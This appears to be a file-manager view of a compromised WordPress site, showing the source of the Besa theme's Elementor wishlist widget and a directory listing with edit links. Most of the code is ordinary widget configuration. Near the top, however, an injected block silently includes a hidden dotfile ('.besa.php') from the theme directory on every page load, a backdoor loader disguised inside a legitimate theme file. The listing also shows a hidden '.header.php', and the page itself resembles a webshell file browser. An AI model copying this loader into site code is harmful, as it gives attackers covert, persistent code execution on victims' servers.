PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
themes
/
besa
/
inc
/
vendors
/
elementor
/
elements
/
header
<?php if ( ! defined( 'ABSPATH' ) || function_exists('Besa_Elementor_Wishlist') ) { exit; // Exit if accessed directly. } use Elementor\Controls_Manager; if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php')) { include_once get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php'; } class Besa_Elementor_Wishlist extends Besa_Elementor_Widget_Base { protected $nav_menu_index = 1; public function get_name() { return 'besa-wishlist'; } public function get_title() { return esc_html__('Besa Wishlist', 'besa'); } public function get_icon() { return 'eicon-heart'; } protected function get_html_wrapper_class() { return 'w-auto elementor-widget-' . $this->get_name(); } protected function _register_controls() { $this->start_controls_section( 'section_layout', [ 'label' => esc_html__('Wishlist', 'besa'), ] ); $this->add_control( 'icon_wishlist', [ 'label' => esc_html__('Icon', 'besa'), 'type' => Controls_Manager::ICONS, 'default' => [ 'value' => 'tb-icon tb-icon-heart', 'library' => 'tbay-custom', ], ] ); $this->add_control( 'icon_wishlist_size', [ 'label' => esc_html__('Font Size Icon', 'besa'), 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'min' => 10, 'max' => 80, ], ], 'selectors' => [ '{{WRAPPER}} .top-wishlist i' => 'font-size: {{SIZE}}{{UNIT}} !important;', ], ] ); $this->add_control( 'show_title_wishlist', [ 'label' => esc_html__('Display Title', 'besa'), 'type' => Controls_Manager::SWITCHER, 'default' => 'no' ] ); $this->add_control( 'title_wishlist', [ 'label' => esc_html__('Title', 'besa'), 'type' => Controls_Manager::TEXT, 'default' => esc_html__('My Wishlist','besa'), 'condition' => [ 'show_title_wishlist' => 'yes' ] ] ); $this->add_control( 'show_total_wishlist', [ 'label' => esc_html__('Show Total', 'besa'), 'type' => Controls_Manager::SWITCHER, 'default' => 'yes', ] ); $this->end_controls_section(); $this->register_section_style_icon(); $this->register_section_style_text(); $this->register_section_style_total(); } private function register_section_style_icon() { $this->start_controls_section( 'section_style_icon', [ 'label' => esc_html__('Style Icon', 'besa'), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->start_controls_tabs('tabs_style_icon'); $this->start_controls_tab( 'tab_icon_normal', [ 'label' => esc_html__('Normal', 'besa'), ] ); $this->add_control( 'color_icon', [ 'label' => esc_html__('Color', 'besa'), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .top-wishlist i' => 'color: {{VALUE}}', ], ] ); $this->add_control( 'bg_icon', [ 'label' => esc_html__('Background Color', 'besa'), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .top-wishlist i' => 'background-color: {{VALUE}}', ], ] ); $this->end_controls_tab(); $this->start_controls_tab( 'tab_icon_hover', [ 'label' => esc_html__('Hover', 'besa'), ] ); $this->add_control( 'hover_color_icon', [ 'label' => esc_html__('Color', 'besa'), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .top-wishlist i:hover' => 'color: {{VALUE}}', ], ] ); $this->add_control( 'hover_bg_icon', [ 'label' => esc_html__('Background Color', 'besa'), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .top-wishlist i:hover' => 'background-color: {{VALUE}}', ], ] ); $this->end_controls_tab(); $this->end_controls_tabs(); $this->end_controls_section(); } private function register_section_style_text() { $this->start_controls_section( 'section_style_text', [ 'label' => esc_html__('Style Text', 'besa'), 'tab' => Controls_Manager::TAB_STYLE, 'condition' => [ 'show_title_wishlist' => 'yes' ] ] ); $this->start_controls_tabs('tabs_style_text'); $this->start_controls_tab( 'tab_text_normal', [ 'label' => esc_html__('Normal', 'besa'), ] ); $this->add_control( 'color_text', [ 'label' => esc_html__('Color', 'besa'), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .title-wishlist' => 'color: {{VALUE}}', '{{WRAPPER}} .count-wishlist' => 'color: {{VALUE}}', ], ] ); $this->end_controls_tab(); $this->start_controls_tab( 'tab_text_hover', [ 'label' => esc_html__('Hover', 'besa'), ] ); $this->add_control( 'hover_color_text', [ 'label' => esc_html__('Color', 'besa'), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .title-wishlist:hover' => 'color: {{VALUE}}', '{{WRAPPER}} .count-wishlist:hover' => 'color: {{VALUE}}', ], ] ); $this->end_controls_tab(); $this->end_controls_tabs(); $this->end_controls_section(); } private function register_section_style_total() { $this->start_controls_section( 'section_style_total', [ 'label' => esc_html__('Style Total', 'besa'), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'number_size', [ 'label' => esc_html__('Font Size', 'besa'), 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'min' => 10, 'max' => 20, ], ], 'default' => [ 'unit' => 'px', 'size' => 14 ], 'size_units' => ['px'], 'selectors' => [ '{{WRAPPER}} .top-wishlist .count_wishlist' => 'font-size: {{SIZE}}{{UNIT}};', ], ] ); $this->add_control( 'number_font-weight', [ 'label' => esc_html__('Font Weight', 'besa'), 'type' => Controls_Manager::SELECT, 'options' => [ '100' => '100', '200' => '200', '300' => '300', '400' => '400', '500' => '500', '600' => '600', '700' => '700', ], 'default' => '700', 'selectors' => [ '{{WRAPPER}} .top-wishlist .count_wishlist' => 'font-weight: {{VALUE}};', ], ] ); $this->add_control( 'color_number', [ 'label' => esc_html__('Color', 'besa'), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .top-wishlist .count_wishlist' => 'color: {{VALUE}}', '{{WRAPPER}} .top-wishlist .count_wishlist' => 'color: {{VALUE}}', ], ] ); $this->add_control( 'bg_total', [ 'label' => esc_html__('Background', 'besa'), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .top-wishlist .count_wishlist' => 'background: {{VALUE}}', '{{WRAPPER}} .top-wishlist .count_wishlist' => 'background: {{VALUE}}', ], ] ); $this->add_control( 'position_left', [ 'label' => esc_html__('Position Left', 'besa'), 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'min' => 0, 'max' => 20, ], ], 'selectors' => [ '{{WRAPPER}} .top-wishlist .count_wishlist' => 'left: {{SIZE}}{{UNIT}};', ], ] ); $this->end_controls_section(); } public function render_item_wishlist() { $this->add_render_attribute('wishlist', 'class', 'wishlist'); $settings = $this->get_settings(); extract( $settings ); $url_wishlist = YITH_WCWL()->get_wishlist_url(); $count_wishlist = YITH_WCWL()->count_products(); ?> <a href="<?php echo esc_url($url_wishlist)?>" <?php echo trim($this->get_render_attribute_string('wishlist')); ?>> <?php $this->render_item_icon(); ?> <?php if($show_total_wishlist === 'yes') { ?> <span class="count_wishlist"><?php echo trim($count_wishlist) ?></span> <?php } ?> <?php if($show_title_wishlist === 'yes' && !empty($title_wishlist) && isset($title_wishlist)) { ?> <span class="title-wishlist"><?php echo trim($title_wishlist) ?></span> <?php } ?> </a> <?php } public function render_item_icon() { $settings = $this->get_settings(); extract( $settings ); if( empty( $icon_wishlist['value'] ) ) return; $this->add_render_attribute( 'icon', 'class', $icon_wishlist['value'] ); echo '<i '. trim($this->get_render_attribute_string( 'icon' )) .'></i>'; } } $widgets_manager->register_widget_type(new Besa_Elementor_Wishlist());
[+]
..
[-] custom-language.php
[edit]
[-] account.php
[edit]
[-] nav-menu.php
[edit]
[-] banner-close.php
[edit]
[-] site-logo.php
[edit]
[-] .header.php
[edit]
[-] compare.php
[edit]
[-] mini-cart.php
[edit]
[-] search-form.php
[edit]
[-] currency.php
[edit]
[-] wishlist.php
[edit]